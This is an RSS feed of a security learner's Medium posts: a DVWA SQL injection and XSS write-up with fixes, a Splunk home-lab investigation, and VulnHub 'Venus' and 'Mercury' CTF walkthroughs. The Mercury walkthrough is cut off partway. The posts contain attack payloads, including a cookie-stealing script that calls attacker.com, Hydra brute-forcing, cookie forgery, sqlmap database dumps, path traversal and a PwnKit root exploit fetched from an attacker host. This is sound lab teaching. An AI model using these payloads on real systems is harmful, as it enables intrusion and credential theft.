engagement.</p><p><strong>Vulnerability 1 — SQL Injection</strong></p><p><strong>The Attack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*E28UJN-qJbVNDgpUYQkqAg.png" /></figure><p>SQL Injection occurs when user input is passed directly into a database query without validation or sanitization. Instead of entering a normal User ID I injected this:</p><pre>&#39; OR &#39;1&#39;=&#39;1</pre><p>The database returned all 5 user records instead of just one. In a real environment this technique can expose every credential in the database, bypass authentication entirely, and in advanced cases execute operating system commands.</p><p><strong>The Vulnerable Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZnmYbJ3OPSpx8y42OXaBA.png" /></figure><pre>$id = $_REQUEST[ &#39;id&#39; ];<br>$query = &quot;SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;&quot;;</pre><p>The variable $id is taken directly from user input and dropped into the SQL query with zero protection. Whatever the user types becomes part of the database command.</p><p><strong>The Fix — Prepared Statements</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbdMTpDdG-OtlK63kxifBQ.png" /></figure><pre>if(is_numeric( $id )) {<br>    $id = intval($id);<br>    $data = $db-&gt;prepare(&#39;SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;&#39;);<br>    $data-&gt;bindParam(&#39;:id&#39;, $id, PDO::PARAM_INT);<br>    $data-&gt;execute();<br>    if( $data-&gt;rowCount() == 1 ) { ... }<br>}</pre><p>Five layers of defense working together:</p><ol><li>is_numeric() — rejects non-numeric input immediately</li><li>intval() — forces integer type even if validation somehow fails</li><li>prepare() — separates SQL structure from user data completely</li><li>bindParam() — passes input as pure data, never as executable code</li><li>rowCount() == 1 — limits output even if all other layers fail</li></ol><p>This is defense in depth — multiple independent controls so that if one fails the others still protect the system.</p><p><strong>Vulnerability 2 — Cross-Site Scripting (XSS Reflected)</strong></p><p><strong>The Attack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*iz6bJWSaGBEf4FQh2nybTg.png" /></figure><p>XSS occurs when user input is displayed back on the page without being sanitized. The browser treats it as real code and executes it. Instead of entering a name I injected:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*En9MDpun69qDNfE65-jZyA.png" /></figure><p>The browser executed the JavaScript and displayed the alert popup. In a real attack the payload would be:</p><pre>&lt;script&gt;document.location=&#39;http://attacker.com/steal?cookie=&#39;+document.cookie&lt;/script&gt;</pre><p>That single line silently sends the victim’s session cookie to the attacker — instant account takeover without ever needing a password.</p><p><strong>The Vulnerable Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IU0q7Nw7coLjCr6BR4BsA.png" /></figure><pre>header (&quot;X-XSS-Protection: 0&quot;);<br>echo &#39;&lt;pre&gt;Hello &#39; . $_GET[ &#39;name&#39; ] . &#39;&lt;/pre&gt;&#39;;</pre><p>Two problems in two lines — the developer actively disabled the browser’s built-in XSS protection, then dropped raw user input directly into the HTML output.</p><p><strong>The Fix — Output Encoding</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*gRanT3M0MMyk-9iKPT7HCg.png" /></figure><p>$name = htmlspecialchars( $_GET[ &#39;name&#39; ] );<br>echo &quot;&lt;pre&gt;Hello {$name}&lt;/pre&gt;&quot;;</p><p>htmlspecialchars() converts dangerous characters into harmless HTML entities:</p><ul><li>&lt; becomes &amp;lt;</li><li>&gt; becomes &amp;gt;</li><li>&quot; becomes &amp;quot;</li></ul><p>So &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt; displays as literal text instead of executing as code. The secure version also removes the line that disabled browser XSS protection and adds an Anti-CSRF token.</p><p><strong>Key Takeaways</strong></p><p>Both vulnerabilities share the same root cause: trusting user input. The fixes share the same principle: never trust user input.</p><p>SQL Injection is fixed at the data layer with prepared statements. XSS is fixed at the presentation layer with output encoding. Both should be implemented at the design phase — not bolted on after the fact. That is what secure by design means in practice.</p><p><strong>OWASP Top 10 Mapping:</strong></p><ul><li>SQL Injection — A03:2021 Injection</li><li>XSS — A03:2021 Injection</li></ul><p><strong>Tools used:</strong> DVWA 2.5, Kali Linux, Firefox</p><p>Full assessment report: <a href="https://github.com/Hjones360/web-application-security-assessment/blob/main/DVWA_Security_Assessment.pdf">https://github.com/Hjones360/web-application-security-assessment/blob/main/DVWA_Security_Assessment.pdf</a></p><p>Follow along at medium.com/@agentjones</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62b8cb1d18a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Investigated a Full Domain Compromise Using Splunk — A Home Lab SOC Exercise]]></title>
            <link>https://agentjones.medium.com/how-i-investigated-a-full-domain-compromise-using-splunk-a-home-lab-soc-exercise-1eb7e0425258?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eb7e0425258</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 02:35:07 GMT</pubDate>
            <atom:updated>2026-06-25T00:57:41.217Z</atom:updated>
            <content:encoded><![CDATA[<p><em>What does a real SOC investigation look like? Here is one from start to finish.</em></p><p><strong>The Setup</strong></p><p>Over the past several weeks I have been building a cybersecurity home lab from scratch. The environment consists of Kali Linux as an attack machine, Windows Server 2025 as a domain controller running Active Directory, GNS3 for network simulation, and Splunk Enterprise as the SIEM. Both machines communicate over an isolated internal network (192.168.99.0/24) simulating a real enterprise environment.</p><p>The goal was simple: attack my own domain, detect it with Splunk, and document the investigation the way a real SOC analyst would.</p><p>The Alert Fires</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6poSZTOEtoKtvKRFmsOFQ.png" /></figure><p>At 21:20:50 EDT, a real-time Splunk alert named “Suspicious Authentication from Kali” fired. The alert was configured to trigger on any Event ID 4624 (successful logon) where the source workstation name was KALI — a condition that should never occur in a legitimate environment.</p><p>The SPL query behind the alert:</p><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 Workstation_Name=kali | stats count by Account_Name, Workstation_Name</pre><p>Alert type: Real-time. Severity: High. Action: Add to Triggered Alerts.</p><p>As the on-call SOC analyst my investigation begins now.</p><p><strong>Step 1 — Triage</strong></p><p>The first question in any SOC investigation is: what exactly triggered this alert and is it a true positive?</p><p>I ran the following search to get a quick picture of the event:</p><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 Workstation_Name=kali | table _time, Account_Name, Workstation_Name, Logon_Type, Authentication_Package</pre><p>Result: One event. Account ksayian. Workstation KALI. Logon Type 3 (network logon). Authentication Package NTLM V2.</p><p>Logon Type 3 means this was a remote network connection — not someone sitting at a keyboard. NTLM V2 from a Linux machine named kali is an immediate red flag. This is a true positive.</p><p><strong>Step 2 — Scope Analysis</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSCld6OxtdW639o92vD0nw.png" /></figure><p>The next question: how many accounts were affected?</p><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 Workstation_Name=kali | stats count by Account_Name | sort -count</pre><p>This is where the investigation escalated from High to Critical.</p><p>The results showed two compromised accounts:</p><ul><li><strong>ksayian</strong> — standard domain user — 2 logons from KALI</li><li><strong>Administrator</strong> — domain admin — 3 logons from KALI</li></ul><p>The Administrator account — the highest privilege account in the domain — was accessed from the Kali machine. This is no longer a single account compromise. This is a full domain breach.</p><p><strong>Step 3 — Building the Timeline</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bN2BIin2AHiUbTHvf6xsg.png" /></figure><p>With the scope confirmed I needed to establish exactly when the Administrator account was accessed:</p><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 Account_Name=Administrator | table _time, Workstation_Name, Logon_Type | sort _time</pre><p>The timeline was clear:</p><ul><li><strong>19:43:50</strong> — First Administrator logon from KALI</li><li><strong>19:49:16</strong> — Second Administrator logon from KALI</li><li><strong>19:52:15</strong> — Third Administrator logon from KALI</li></ul><p>All three were Logon Type 3. All three from 192.168.99.20. The attack window lasted approximately 9 minutes.</p><p><strong>Step 4 — Root Cause Analysis</strong></p><p>The attack tool was CrackMapExec — an SMB enumeration and authentication tool commonly used in penetration testing. The attacker authenticated to the domain over SMB using stolen credentials.</p><p>The root cause was password reuse. The Administrator account shared the same password as the ksayian domain user account. Once ksayian was compromised, escalating to full Administrator access required zero additional effort.</p><p>Supporting vulnerabilities:</p><ul><li>No account lockout policy — CrackMapExec could authenticate repeatedly without triggering a lockout</li><li>Minimum password length of only 7 characters</li><li>NTLM authentication accepted from non-standard workstations</li></ul><p><strong>Step 5 — The Incident Report</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*14nzQ4k8CpNHd0zEE7vadw.png" /></figure><p>Every SOC investigation ends with documentation. I compiled the findings into a formal incident report — IR-2026–001 — covering the executive summary, attack timeline, forensic evidence, scope of compromise, root cause analysis, and remediation recommendations.</p><p>The containment recommendations included:</p><ul><li>Isolate 192.168.99.20 immediately</li><li>Reset ksayian and Administrator passwords</li><li>Enable account lockout policy</li><li>Restrict NTLM authentication</li></ul><p><strong>Lessons Learned</strong></p><p>This exercise taught me several things that no certification can fully convey.</p><p>First, password reuse is the most dangerous misconfiguration in any Active Directory environment. One compromised standard user account led directly to full domain admin access.</p><p>Second, the absence of an account lockout policy is a silent killer. Without it automated tools can hammer credentials indefinitely without any detection or prevention.</p><p>Third, Splunk works. The real-time alert fired within seconds of the attack. The forensic evidence in Windows Security logs was complete — account name, source IP, workstation name, authentication method, and exact timestamp. Everything a SOC analyst needs to investigate and respond was there.</p><p>The attacker and the defender are looking at the same logs. The difference is who finds them first.</p><p><strong>What’s Next</strong></p><p>This lab continues to grow. Upcoming phases include additional Splunk detection rules, BloodHound Active Directory attack path mapping, Pass-the-Hash techniques, and lateral movement simulation.</p><p>If you are breaking into cybersecurity — build a home lab. You will learn more from one real investigation than from reading ten study guides.</p><p>The full incident report is available <a href="https://github.com/Hjones360/Home-lab-IR-documentation/blob/main/IR-2026-001_Incident_Report.pdf">here</a></p><p><em>Follow along as I document the full lab build. All phases documented at medium.com/@agentjones</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eb7e0425258" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walking on Venus]]></title>
            <link>https://agentjones.medium.com/walking-on-venus-5f8149ecbdfe?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f8149ecbdfe</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[venus]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 03:20:35 GMT</pubDate>
            <atom:updated>2026-06-11T03:20:35.962Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my name is Houston Jones, and I will be your personal guide through the VulnHub “Venus”.</p><p>The Planets: Venus</p><p>About Release</p><ul><li><strong>Name</strong>: The Planets: Venus</li><li><strong>Date release</strong>: 3 Jun 2021</li><li><strong>Author</strong>: <a href="https://www.vulnhub.com/author/sirflash,731/">SirFlash</a></li><li><strong>Series</strong>: <a href="https://www.vulnhub.com/series/the-planets,362/">The Planets</a></li></ul><p>Step 1 — Host Discovery</p><p>I used sudo arp-scan -l to send ARP requests across my local network to discover all active devices. The scan returned 4 addresses, two of which were locally administered VirtualBox network services, leaving two unknown hosts as potential targets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*tzNhIQVp_EwMxTEDlrwyyA.png" /></figure><p>Command breakdown:</p><p>sudo — runs the command with admin (root) privileges</p><p>arp-scan — sends ARP requests to discover live hosts on the network</p><ul><li>l — scans the local network automatically based on your IP range</li></ul><p><strong>Step 2 — Port Scanning</strong></p><p>I ran nmap -sV -Pn 10.0.3.4 to scan the target for open ports and identify what services were running on them. The scan revealed two open ports:</p><ul><li><strong>Port 22</strong> — SSH (OpenSSH)</li><li><strong>Port 8080</strong> — HTTP web server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*qNZmvg9PA3m3yWpJI1LoXg.png" /></figure><p>Command breakdown:</p><ul><li>-sV — detects the service and version running on each open port</li><li>-Pn — skips the ping check and treats the host as online</li></ul><p><strong>Step 3 — Web Enumeration</strong></p><p>Since port 8080 was open and running a web server, I navigated to <a href="http://10.0.3.4:8080/">http://10.0.3.4:8080</a> in the browser to see what was hosted there. I was presented with a login screen and tested the default credentials guest:guest. Access was granted, revealing a page with an image and some basic facts. While nothing immediately useful was found, gaining access confirmed that weak default credentials were accepted by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVNWXni5ClAvS6JbGJfKlQ.png" /></figure><p><strong>Step 4 — Directory Enumeration</strong></p><p>Since the guest page didn’t reveal anything useful, I used Gobuster to brute-force hidden directories on the web server.</p><p>Command: gobuster dir -u <a href="http://10.0.3.4:8080/">http://10.0.3.4:8080/</a> -w /usr/share/wordlists/dirb/common.txt</p><ul><li>dir — search for hidden directories</li><li>-u — the target URL</li><li>-w — the wordlist containing thousands of common directory names to try</li></ul><p>Gobuster discovered one directory: /admin. An admin page is always a valuable find as it often contains a login portal that could grant elevated access to the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*FCJXHjWyjKcTgIlJvoIV9g.png" /></figure><p><strong>Step 5 — Admin Page Discovery</strong></p><p>I navigated to <a href="http://10.0.3.4:8080/admin">http://10.0.3.4:8080/admin</a> to explore the admin directory. I was presented with a login page and tested the default credentials admin:admin to see how the application would respond. The server returned a <strong>500 error</strong>, which while not granting access, confirmed the page was active and processing login attempts. This told me the application was worth pursuing further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRV7xGZR1ZTQZ81iTPbszg.png" /></figure><p><strong>Step 6 — Username Enumeration with Hydra</strong></p><p>I used Hydra to brute-force valid usernames against the login page, testing each name from a wordlist against a single password.</p><p>Hydra identified two valid usernames: <strong>magellan</strong> and <strong>venus</strong>. The tool confirmed these by noting that the server did not return an “Invalid username” response for them. Attempting to log in with these usernames through the browser still returned a 500 error, meaning more work was needed to find their actual passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*c2sn1UwISVZ_iSuGz0Di3g.png" /></figure><p>Command: hydra -L usernames.txt -p pass -s 8080 10.0.3.4 http-post-form “/:username=^USER^&amp;password=^PASS^:Invalid username”</p><ul><li>-L usernames.txt — the wordlist of usernames to try</li><li>-p pass — a single password to test against each username</li><li>-s 8080 — the port to attack</li><li>http-post-form — tells Hydra this is a HTTP POST login form</li><li>“/:username=^USER^&amp;password=^PASS^:Invalid username” the form structure and the error message returned on failed attempts</li></ul><p><strong>Step 7 — Intercepting Traffic with Burp Suite</strong></p><p>I opened Burp Suite and configured Firefox to route traffic through it by setting the browser proxy to 127.0.0.1 on port 8080. This allows Burp Suite to sit between the browser and the web server and capture every request and response.</p><p>I turned on <strong>Intercept</strong> under the Proxy tab, then logged into the web app using the guest:guest credentials. Burp Suite caught the request. I clicked <strong>Forward</strong> to let it through and then checked the <strong>HTTP History</strong> tab to review the full request and response.</p><p>In the response I found an authentication cookie: auth=Z3Vlc3Q6dGhyZmc=</p><p>The cookie value is a Base64 encoded string, meaning the authentication information is being stored in an encoded format inside the cookie rather than plain text. I took the value to CyberChef and used <strong>From Base64</strong> to decode it, which revealed:</p><p>guest:thrfg</p><p>The cookie stores the username and password separated by a colon. The password thrfg is not the actual password, it is guest encoded in <strong>ROT13</strong>, a cipher that shifts every letter 13 places forward in the alphabet. This means the application is using a weak and predictable method to obscure passwords in its cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*wsSgXFLtVw7O7-O9MSINMQ.png" /></figure><p><strong>Step 8 — Forging an Authentication Cookie</strong></p><p>Now that I understood the cookie format, I attempted to forge a cookie to impersonate the user <strong>venus</strong> without knowing their actual password.</p><p>The cookie format follows this pattern: username:ROT13(password) encoded in Base64.</p><p>I used CyberChef to build the forged cookie:</p><ol><li>Encoded venus with <strong>ROT13</strong> which gave me irahf</li><li>Combined them as venus:irahf</li><li>Encoded the whole string with <strong>To Base64</strong> which output dmVudXM6aXJhaGY=</li></ol><p>I then went to Burp Suite’s <strong>Repeater</strong> tab, replaced the original auth cookie with auth=dmVudXM6aXJhaGY= and sent the request to see if the server would grant access to the venus account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*XlwzcUfzXinie9q4fCTqqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*-KvbTLaL-VaCeTpQPgOL3Q.png" /></figure><p><strong>Step 9 — Discovering Magellan’s Password</strong></p><p>After successfully forging the venus cookie, I applied the same technique to magellan. I sent the forged magellan cookie to Burp Repeater and the server responded with a new cookie in the response:</p><p>auth=”bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==”</p><p>I decoded this in CyberChef using <strong>From Base64</strong> which revealed magellan:irahfvnatrbybtl1989. Applying <strong>ROT13</strong> to the password portion gave me the actual plaintext password: <strong>venusiangeology1989</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*unArdjfV3YDbuN0baz-vWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*gEmYhd-fm_MBYCdo8pAZaQ.png" /></figure><p><strong>Step 10 — SSH Access and First Flag</strong></p><p>Using the credentials discovered in the previous step, I attempted to log in to the Venus machine via SSH:</p><p>ssh magellan@10.0.3.4</p><p>When prompted for a password I entered venusiangeology1989 and was granted access. I ran ls to list the files in the directory and spotted the flag. I used cat to read it and captured the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Q18XWoCfJXuiAn0HdRjJ0A.png" /></figure><p><strong>Step 11 — Attempting to Access Root</strong></p><p>After capturing the first flag I attempted to access the root directory:</p><p>cd /root</p><p>The system returned <strong>Permission denied</strong>, confirming that magellan is a low privilege user and I will need to escalate privileges to reach the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*y3OWoZRQQWjQ2cOeV1YBEA.png" /></figure><p><strong>Step 12 — Transferring Linpeas to Venus</strong></p><p>To find privilege escalation vulnerabilities I needed to get <strong>linpeas.sh</strong> onto the Venus machine. Linpeas is a script that automatically scans a Linux system for potential vulnerabilities and misconfigurations.</p><p>I downloaded linpeas on Kali and started a Python web server in the same directory to act as a file server:</p><p>python3 -m http.server 8888</p><p>Then from the Venus SSH session I pulled the file down:</p><p>wget <a href="http://10.0.3.5:8888/linpeas.sh">http://10.0.3.5:8888/linpeas.sh</a></p><p>This allowed the Venus machine to reach out to Kali and download the file over the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*CDlzobTtT5e4yW0Of7VZDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*QWUinK0diIBs5WbRmo2-kw.png" /></figure><p><strong>Step 14 — Running Linpeas</strong></p><p>Before running linpeas I first checked the file permissions with ls -l and saw it was not executable. I changed the permissions with:</p><p>chmod +x linpeas.sh</p><ul><li>chmod — changes file permissions</li><li>+x — adds execute permission to the file</li></ul><p>I then ran the script:</p><p>./linpeas.sh</p><p>Linpeas scanned the system and output a list of potential vulnerabilities and misconfigurations that could be used to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*wt82bM-6v5WNJkKpOXU95w.png" /></figure><p><strong>Step 15 — Identifying the Privilege Escalation Vector</strong></p><p>Linpeas flagged a critical vulnerability in the output:</p><p>Pkexec binary has SUID bit set — Potentially vulnerable to CVE-2021–4034 (PwnKit)</p><p>/usr/bin/pkexec is a system binary owned by root with the SUID bit set, meaning it runs with root privileges regardless of who executes it. CVE-2021–4034, known as PwnKit, is a well known exploit targeting this binary that allows any low privilege user to escalate to root. This will be the path used to capture the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*MIt92o4jp4y0auHplxZWXQ.png" /></figure><p><strong>Step 16 — Downloading the CVE-2021–4034 Exploit</strong></p><p>I downloaded the CVE-2021–4034 exploit source code on Kali and served it to Venus using a Python web server:</p><p>curl -k -L https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -o CVE-2021-4034-main.zip</p><p>python3 -m http.server 8888</p><p>Then on Venus I pulled it down:</p><p>wget <a href="http://10.0.3.5:8888/CVE-2021-4034-main.zip">http://10.0.3.5:8888/CVE-2021-4034-main.zip</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*LB9o0K3kkeCUklv72YzpWw.png" /></figure><p><strong>Step 17 — Unzipping and Changing to the Exploit Directory</strong></p><p>unzip CVE-2021–4034-main.zip</p><p>cd CVE-2021–4034-main</p><p><strong>Step 18 — Compiling and Running the Exploit</strong></p><p>I ran make to compile the exploit from source code, which built the necessary files including pwnkit.so and the cve-2021–4034 binary. Then I executed it:</p><p>./cve-2021–4034</p><p>The prompt changed to sh-5.1# confirming successful privilege escalation to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*GCdHVokDqTHufx1cL297Jg.png" /></figure><p><strong>Step 19 — Capturing the Root Flag</strong></p><p>I confirmed root access with whoami which returned root. I then navigated to the /root directory, listed the files and found root_flag.txt. I used cat to read the file and captured the root flag:</p><p>root_flag_83588a17919eba10e20aad15081346af</p><p>The machine returned a congratulations message confirming the Venus VulnHub CTF was complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*fw4naoEGQM4rhlp5bsIpbg.png" /></figure><p>20th step is to use the credentials to login to the venus machine to verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*yfU_iL8x3yT5T8G8pW3K-Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f8149ecbdfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Planets: MercuryVulnhub CTF Walkthrough]]></title>
            <link>https://agentjones.medium.com/the-planets-mercuryvulnhub-ctf-walkthrough-3884230fe368?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3884230fe368</guid>
            <category><![CDATA[mercury]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Tue, 26 May 2026 00:49:59 GMT</pubDate>
            <atom:updated>2026-05-26T00:49:59.787Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my name is Houston Jones, and I will be your personal guide through the VulnHub “Mercury”.</p><p>The Planets: Mercury</p><p>About Release</p><ul><li><strong>Name</strong>: The Planets: Mercury</li><li><strong>Date release</strong>: 4 Sep 2020</li><li><strong>Author</strong>: <a href="https://www.vulnhub.com/author/sirflash,731/">SirFlash</a></li><li><strong>Series</strong>: <a href="https://www.vulnhub.com/series/the-planets,362/">The Planets</a></li></ul><p>1st step I used was <strong><em>sudo arp-scan -l</em></strong> to use administrative privileges to send out an arp requesting the discovery of all devices on my local network. Which gives me 4 addresses back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jRHQJrChZfT3Aqg9xMyN_w.png" /></figure><p>2nd step I used the command <strong><em>nmap -sV -Pn 10.0.2.9</em></strong> to scan open ports and what services are running on those open ports. Using the <strong><em>-Pn </em></strong>option allowed me to skip the ping in case the device blocks ping requests. The scan found two open ports: <strong>22 (SSH)</strong> running on Ubuntu, and <strong>8080 (HTTP)</strong> running WSGIServer 0.2 with Python 3.8.2. Also I wanted to note that this has a Linux OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Jh_inyzTICFmWlHZwe7itg.png" /></figure><p>3rd step I decided to go and visit the IP address in a web browser just for recon purposes. I got a message that says the site is currently in development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*gH3QD_sx4f2id_XmdV76cg.png" /></figure><p>4th step Running the (<strong><em>dirsearch -u </em></strong><a href="http://10.0.2.9:8080/"><strong><em>http://10.0.2.9:8080/</em></strong></a><strong><em> -w /usr/share/wordlists/dirb/common.txt)</em></strong> command I discover a filename labeled robots.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*6w32axTSNWN5y1hcj0WR0A.png" /><figcaption><strong>Dirsearch</strong> works similarly to <strong>Gobuster</strong>, it brute-forces directory and file names against a target URL to find hidden content</figcaption></figure><p>5th step I will attempt to get the robot.txt file using the web browser by adding the (<strong><em>/robots.txt) </em></strong>to the end of the IP address and port number in the web browser. The purpose of this is to check this file to discover hidden<strong> </strong>or<strong> </strong>sensitive directories that the website owner doesn’t want indexed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*ouQktJpQ-K0tiuQuHTlzHQ.png" /></figure><p>6th step I will try a path traversal attack using (<strong><em>../../../../etc/passwd</em></strong>)<strong><em>. </em></strong>A path traversal attack tries to navigate outside the web app’s intended directory by using ../ to move up folder levels, potentially reaching sensitive system files. I don’t gain an entry point be we discover a new possible directory <strong><em>mercuryfacts/</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*u_kNUeul2VUEUMkRNBV6Ow.png" /></figure><p>7th step I add the <strong><em>/mercuryfacts </em></strong>directory to the address in the browser and now I have a 2 links I can explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*UfuGVg3eoy2lD6yfX02WAQ.png" /></figure><p>8th step I click load a fact and it doesn’t really show me any valuable information. But I notice in the url the directory adds a <strong><em>/1 </em></strong>What I get from that is that maybe I can try to count up (/2, /3, /4) and see if there’s any other valuable information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*yLiSEN6YjoqlBsjqoFqRdQ.png" /></figure><p>9th step I click the 2nd link on the /mercuryfacts page, and I see that the website’s database has a table named users. The todo list on the /mercuryfacts/todo page revealed that the developer left internal notes exposed, including that a <strong>users table</strong> exists in the database and that authentication has not been fully implemented yet. So I may be able to use SQL injection to exploit this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*8GTii1utAnmatssLS2-jQA.png" /></figure><p>10th step I used a tool called SQLmap to attempt a SQL injection attack on the mercuryfacts page. SQLmap automates the process of testing whether a web application’s database can be manipulated through its URL. Using the command (<strong><em>sqlmap -u </em></strong><a href="http://10.0.2.9:8080/mercuryfacts/1/"><strong><em>http://10.0.2.9:8080/mercuryfacts/1/</em></strong></a><strong><em> — dbs) </em></strong>I will attempt the injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*gD5fESusI05dfgPWKZhfTQ.png" /></figure><p>The scan came back with a critical warning that the URL parameter was not injectable, meaning the /1/ in the URL was not a viable entry point for this attack. I will need to find a different injection point.</p><p>11th step Running SQLmap without the ID at the end of the URL found a valid injection point. SQLmap identified three injection types it could use: error-based, time-based blind, and UNION query, and confirmed the backend database is <strong>MySQL 5.6</strong>.</p><p>Along with three databases information_schema, mercury, performance_schema</p><p>The mercury database is the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*8-LPGjxb9jDAILltouY7cA.png" /></figure><p>12th step will be dumping the data from the mercury database using the command (<strong><em>sqlmap -u </em></strong><a href="http://10.0.2.9:8080/mercuryfacts/1"><strong><em>http://10.0.2.9:8080/mercuryfacts/1</em></strong></a><strong><em> -D mercury — dump — batch</em></strong>). Which gave me some usernames and passwords. We will test these credentials one by one to see which is the SSH login credential with the command (ssh &lt;username@ipaddress&gt;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*FczbcNl4ZAvznKRHzOueOg.png" /></figure><p>13th step was successful logging in after attempting all usernames and passwords. The webmaster username and password are the correct ones. You can tell by looking at the new prompt (<strong><em>webmastery@mercury</em></strong>) that it was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*8HPoQL6kity8negnSKnqeg.png" /></figure><p>14th step we capture the flag by (<strong><em>ls</em></strong>) listing the files within the directory and using cat to display the file/flag. FIRT FLAG CAPTURED!!!</p><p>[user_flag_8339915c9a454657bd60ee58776f4ccd]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*ee4hQgEcxEozcsii-ixbrQ.png" /></figure><p>15th step I am looking for more privileges, but do not have access to the root directory under this user. So, in the listed files I notice a directory named (<strong><em>mercury_proj</em></strong>) so I changed to that directory listed the files and found a notes.txt file. Check the contents of the file and find a user with a password encrypted with a base64 code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*97WwbjcH_Ybsr9KeZEohag.png" /></figure><p>16th step I decode the base64 code with the command (<strong><em>echo “bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==” | base64 -d</em></strong>) and the content displays “mercurymeandiameteris4880km” which must be the password for the linuxmaster user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*mXWOqNmFJRTTXN6DU02cbQ.png" 